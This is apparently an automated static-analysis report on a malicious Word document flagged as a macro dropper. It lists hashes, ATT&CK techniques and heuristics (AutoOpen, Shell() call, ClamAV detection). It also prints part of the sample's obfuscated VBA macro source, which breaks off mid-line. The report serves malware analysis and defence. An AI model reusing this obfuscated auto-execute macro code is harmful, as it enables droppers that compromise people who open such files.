Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b63af7ccb9092448…

MALICIOUS

Office (OLE)

77.0 KB Created: 2017-10-13 11:18:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: e2612aaf60d0bff4f5369d1e9906b735 SHA-1: 84dd9330291160df8d7a705c2ad71049736020be SHA-256: b63af7ccb9092448a0904f97c7640db8e9361927cdecb2ca04bdc36108b4cc37
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The AutoOpen macro is present and uses the Shell() function, indicating an attempt to execute arbitrary commands. This is a common technique for downloading and executing further stages of malware. The ClamAV detection also confirms its malicious nature.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6347211-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6347211-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9594 bytes
SHA-256: a674eb06b327d80acdaef5b9533c0b59a814c34963355bbe28cbdd5b2b003a40
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub MMwjqzDvB()
YqzUmnbOZ = "" + dXsXoj + PilMzFj + DQZkHdNr + qLiVKdki + BSGsa + lTWHUG + dXICzQMT + PfzjdAIE + iwEQl + qBwnH + XpwhK + IiTVk + "coMments" + dXsXoj + PilMzFj + DQZkHdNr + qLiVKdki + BSGsa + lTWHUG + dXICzQMT + PfzjdAIE + iwEQl + qBwnH + XpwhK + IiTVk + Cavtul + RGSbw + HWrIPO + fJIHivq + jWzcUR
MCTbubcFi = Right(Left((PkWfVndSE(YqzUmnbOZ)), 6157), 72)
cJGRLF = Mid((PkWfVndSE(YqzUmnbOZ)), 10573, 108)
TzuLiE = Mid((PkWfVndSE(YqzUmnbOZ)), 8153, 75)
sTbCwJHDcb = Right(Left((PkWfVndSE(YqzUmnbOZ)), 9635), 135)
ETZcDasCGj = Right(Left((PkWfVndSE(YqzUmnbOZ)), 721), 77)
ZDokR = Right(Left((PkWfVndSE(YqzUmnbOZ)), 5089), 77)
WplkmCPOTB = Right(Left((PkWfVndSE(YqzUmnbOZ)), 8690), 68)
jjwJAZSIEM = Right(Left((PkWfVndSE(YqzUmnbOZ)), 3705), 21)
LbUcsUXml = Mid((PkWfVndSE(YqzUmnbOZ)), 14907, 97)
BSjnZoLYADs = Mid((PkWfVndSE(YqzUmnbOZ)), 7584, 135)
cuoKzijK = Left(Right((PkWfVndSE(YqzUmnbOZ)), Len((PkWfVndSE(YqzUmnbOZ))) - 11877), 72)
ZKhmV = Mid((PkWfVndSE(YqzUmnbOZ)), 740, 134)
QCwkvqRms = Mid((PkWfVndSE(YqzUmnbOZ)), 3997, 22)
nCiTTzzwjMm = Right(Left((PkWfVndSE(YqzUmnbOZ)), 5541), 123)
pOQJc = Mid((PkWfVndSE(YqzUmnbOZ)), 15898, 147)
qaWnp = Mid((PkWfVndSE(YqzUmnbOZ)), 2730, 103)
hDWYHOrWkX = Mid((PkWfVndSE(YqzUmnbOZ)), 12852, 109)
kmXSSdztvj = Mid((PkWfVndSE(YqzUmnbOZ)), 11217, 111)
JASCNf = Right(Left((PkWfVndSE(YqzUmnbOZ)), 13087), 95)
HLSuJofp = Right(Left((PkWfVndSE(YqzUmnbOZ)), 12383), 120)
isDkHOS = Left(Right((PkWfVndSE(YqzUmnbOZ)), Len((PkWfVndSE(YqzUmnbOZ))) - 10699), 23)
KqSrB = Mid((PkWfVndSE(YqzUmnbOZ)), 5661, 122)
OGvoIEj = Mid((PkWfVndSE(YqzUmnbOZ)), 6274, 125)
ZUdIdzJhc = Right(Left((PkWfVndSE(YqzUmnbOZ)), 3049), 82)
DZtEjFcjm = Mid((PkWfVndSE(YqzUmnbOZ)), 14745, 2)
QQtaZtX = Left(Right((PkWfVndSE(YqzUmnbOZ)), Len((PkWfVndSE(YqzUmnbOZ))) - 10426), 133)
LbAitpza = Mid((PkWfVndSE(YqzUmnbOZ)), 14411, 65)
kOzuLpNrF = Left(Right((PkWfVndSE(YqzUmnbOZ)), Len((PkWfVndSE(YqzUmnbOZ))) - 5814), 25)
zquFDMOD = Mid((PkWfVndSE(YqzUmnbOZ)), 14641, 9)
ckWoQawYXj = MCTbubcFi + cJGRLF + TzuLiE + sTbCwJHDcb + ETZcDasCGj + ZDokR + WplkmCPOTB + jjwJAZSIEM + LbUcsUXml + BSjnZoLYADs + cuoKzijK + ZKhmV + QCwkvqRms + nCiTTzzwjMm + pOQJc + qaWnp + hDWYHOrWkX + kmXSSdztvj + JASCNf + HLSuJofp + isDkHOS + KqSrB + OGvoIEj + ZUdIdzJhc + DZtEjFcjm + QQtaZtX + LbAitpza + kOzuLpNrF + zquFDMOD
LwafkqAnq = Mid((PkWfVndSE(YqzUmnbOZ)), 5555, 93)
LNsKdLr = Left(Right((PkWfVndSE(YqzUmnbOZ)), Len((PkWfVndSE(YqzUmnbOZ))) - 11449), 121)
UQVffpdHs = Right(Left((PkWfVndSE(YqzUmnbOZ)), 12191), 74)
UJVFKXfAPcC = Right(Left((PkWfVndSE(YqzUmnbOZ)), 5299), 44)
DdChm = Mid((PkWfVndSE(YqzUmnbOZ)), 14205, 101)
swUMub = Left(Right((PkWfVndSE(YqzUmnbOZ)), Len((PkWfVndSE(YqzUmnbOZ))) - 2615), 11)
uMsvt = Left(Right((PkWfVndSE(YqzUmnbOZ)), Len((PkWfVndSE(YqzUmnbOZ))) - 11141), 12)
BsnAGfqCFRi = Mid((PkWfVndSE(YqzUmnbOZ)), 13785, 47)
CmvVzlGV = Right(Left((PkWfVndSE(YqzUmnbOZ)), 2492), 42)
KjcfFD = Mid((PkWfVndSE(YqzUmnbOZ)), 1154, 145)
sUEbKu = Left(Right((PkWfVndSE(YqzUmnbOZ)), Len((PkWfVndSE(YqzUmnbOZ))) - 12432), 52)
jBvPvPITwH = Right(Left((PkWfVndSE(YqzUmnbOZ)), 4969), 7)
zHcdMjcR = Right(Left((PkWfVndSE(YqzUmnbOZ)), 2607), 60)
kzVJl = Left(Right((PkWfVndSE(YqzUmnbOZ)), Len((PkWfVndSE(YqzUmnbOZ))) - 10235), 146)
acAkIEEZ = Right(Left((PkWfVndSE(YqzUmnbOZ)), 1498), 1)
uaJjwm = Right(Left((PkWfVndSE(YqzUmnbOZ)), 3250), 101)
lsbOaS = Left(Right((PkWfVndSE(YqzUmnbOZ)), Len((PkWfVndSE(YqzUmnbOZ))) - 391), 65)
jQwtmd = Mid((PkWfVndSE(YqzUmnbOZ)), 918, 89)
AFvMCiQzYnd = ckWoQawYXj + LwafkqAnq + LNsKdLr + UQVffpdHs + UJVFKXfAPcC + DdChm + swUMub + uMsvt + BsnAGfqCFRi + CmvVzlGV + KjcfFD + sUEbKu + jBvPvPITwH + zHcdMjcR + kzVJl + acAkIEEZ + uaJjwm + lsbOaS + jQwtmd
PNITVaU = Right(Left((PkWfVndSE(YqzUm
... (truncated)

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